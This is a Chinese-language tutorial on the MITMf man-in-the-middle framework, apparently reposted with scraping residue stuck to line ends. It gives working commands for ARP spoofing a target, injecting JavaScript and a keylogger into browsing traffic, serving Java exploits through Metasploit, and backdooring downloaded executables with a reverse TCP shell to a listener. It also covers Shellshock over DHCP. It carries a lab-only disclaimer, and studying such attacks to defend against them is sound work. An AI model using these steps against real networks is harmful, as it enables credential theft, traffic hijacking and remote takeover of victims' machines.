内网劫持渗透新姿式:MITMf简要指南

声明:本文具备必定攻击性,仅做为技术交流和安全教学之用,不要用在除了搭建环境以外的环境。
html

0×01 题记java

又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不由潸然泪下。子曰:“长得丑就要多读书!”因而有了这篇文章。python

0×02 简要介绍linux

这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf。工具的做者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来。这里是工具的地址:git

https://github.com/byt3bl33d3r/MITMf 
github

关于工具的一些简介也在git的READEME中说到了。工具自己比较新,没找到中文指南,这里就写一篇文章与你们一块儿交流探讨。正则表达式

刚一看到这个工具的时候,第一感受不过是一个中间人攻击的集合品,也没多大兴趣。原本嘛,这个概念也已经被谈烂了。可是当我真的搭好环境开始玩的时候才发现其实这个框架仍是有点意思的,可扩展性很是高。除了“劫持”的概念外,一些插件也起到了“渗透”的做用。shell

0×03 工具配置windows

MITMf不支持多系统平台,虽然是python写的,可是玩过之后才发现根本就是给linux量身作的,因此这里想玩的同窗若是是win环境的话,能够考虑用虚拟机了,这里建议使用Kali/Linux。浏览器

首先git下整个框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

而后咱们进行简单的安装

cd /opt/mitmf./install-bdfactory.sh

完成以后,进行下一步的安装操做

cd bdfactory/./install.sh

而后,运行的时候咱们会发现仍然没办法启动MITMf,会提示一些模块缺失,咱们按照指示说的依次用pip安装一下就能够。

这里须要注意一点,由于部分模块的源是在google上面的,pip会安装不上(如pefile),这时候能够本身去https://pypi.python.org/pypi 下载一下而后手动安装,安装命令是

python xxxx install

另外,须要自行手动安装python-nfqueue模块

sudo apt-get install python-nfqueue

0×04 基本功能:cookies盗取,dns劫持,js注入…

这时候咱们应该可以成功启动mitmf了。输入./mitmf.py -h 获得如下帮助界面:

工具备几项基本功能:

sslstrip模块

这个我很少说你们也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,可是出现了没法使用的状况,应该是框架自己的bug。

Filepwn模块

主要做用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,而后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块

清空客户端的缓存缓冲池,这个在咱们须要从新注入一段js时是颇有用的。这个功能仍是很是有用的,关于用处,你们能够参考EtherDream同窗的JS缓存投毒的文章,不细说。

Spoof模块

十分重要的一个模块,当咱们使用MITM功能攻击欺骗时绝对是不能缺乏的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其余的规则文件(cfg文件)在主目录的config目录下,咱们能够进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,咱们能够经过shellshock参数进行指定。下面我也会有图片进行证实演示。

BeEFAutorun模块

该模块可使框架能够链接到BeEF,BeEF的强大我想你们是有目共睹的。链接到BeEF以后就能够将MITM与浏览器渗透结合起来,功能天然更强大,姿式,也更猥琐了。

Replace模块

这个模块主要是能够对浏览内容进行替换,支持正则表达式。注意,这里模块默认状况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,须要手动指定keep-cache参数。

Inject模块

能够向被欺骗者的浏览内容中注入各类猥琐的东西,好比js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文咱们还会说到。

Browser Profiler插件

枚举被欺骗机器的浏览器插件。对于咱们前期的信息收集阶段仍是颇有用的。

JavaPwn模块

能够经过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合能够直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同窗没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块

一个键盘记录js,后文会有介绍

App Cache Poison

app缓存投毒。对于网页应用程序进行毒化处理,而后进行为所欲为的攻击。是Krzysztof Kotowicz的补充模块。

Upsidedownternet

恶搞模块,让浏览者的世界翻转。

以上是工具的简单介绍,其中很多是不少功能你们都已经玩过了,因此我就单挑几个给你们展现一下。

Inject模块的注入功能

咱们首先注入一个html:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

效果图

而后咱们再注入一个js看看:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

效果图

而后是工具自带的keylogger的js,咱们看一下效果怎么样:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger

效果图

经测试,密码截获DNS劫持什么的都不是问题,这里鉴于篇幅就再也不展现了。

0×05 进阶玩法

以上是咱们进行的一些基本的玩法,目的只是让你们看一下。功能比较基础你们用的也比较多,接下来的部分,主要给你们展现一下该框架是如何结合强大的metasploit进行“渗透”的。

(一)利用java漏洞进行攻击

首先,咱们使用的是javapwn模块。这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,只不过是将注入的过程加入到了ARP欺骗的过程而不是以前演示的那种直接给客户端一个url(相似:http://192.168.111.111/UIhsdaVx),使得攻击更为天然。

将metasploit打开,而后载入msgrpc模块

#msfconsolemsf > load msgrpc Pass=abc123

其余部分保持默认就行了。而后是MITMf端,输入如下命令:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137

而后咱们就只须要等待就能够了,喝杯咖啡等一下。。这个过程咱们能够看到靶机所浏览的一些网站记录同时咱们也能接收到一些毒化html的反馈信息。

若是顺利,咱们的jar就被执行了。

这是开始运行等待的时候

成功获得shell

这两张是成功获得shell的界面。由于个人靶机中的java是最新的,msf中的payload没法溢出,只是在靶机中生成了无数的链接。因此这里的图是盗的。

(二)为PE文件注入后门实现渗透

使用Filepwn模块,与msf结合一样能够得到shell。简单说一下Filepwn的原理:ARP过程当中若是探测到靶机有下载的活动,便劫持下载连接,首先将文件下载下来进行解包分析,若是是可执行文件就尝试注入后门,若是失败则从新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各类可执行文件。

一样咱们打开metasploit,使用handler,开始监听:

msfconsole
use exploit/multi/handlerset LHOST 192.168.217.137set LPORT 1447run

在使用MITMf前咱们须要对配置文件进行配置,注入信息配置以下(只列出做用位置)

…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下来是MITMf:

./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --filepwn

而后就是等待靶机下载文件而后执行就能够了。

最后咱们的靶机执行了文件,而后msf得到到了shell。下面是最终结果:


点此看大图

(三)娱乐一下

最后再看一下“破壳”是如何在DHCP中起做用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock

这里的命令能够用cmd参数自行指定。

关于这个问题你们一致的思路是这样的:咱们的手机IOS、Android都是基于unix的,因此若是咱们搭建一个dhcp的WIFI服务器,能有什么收获呢?

0×06 总结

这个工具其实说白了就是一个中间人攻击的大集合,集各类功能于一身,同时扩展了BeEF框架和Metasploit的接口,使攻击姿式更加丰富。并且,也十分与时俱进的扩展了网页应用的毒化功能,同时给咱们带来了更多的想法:中间人攻击,真的只是劫持截包这么简单么?内网渗透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是确定的!:)

文章到这里暂时告一段落,简要介绍了几个MITMf的基础功能,更多扩展工具阅读

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

若是有更好玩的东西,我会继续与你们分享。

0×07 最后的小插曲

写文章的前一天晚上,室友看我测试各类攻击姿式,而后看了一下子感叹说,网络愈来愈不安全了,真是到处是坑,一不当心就可能中招。而后,咱们相视苦笑。。。

如今,问题来了:挖坑得用挖掘机。

相关文章
相关标签/搜索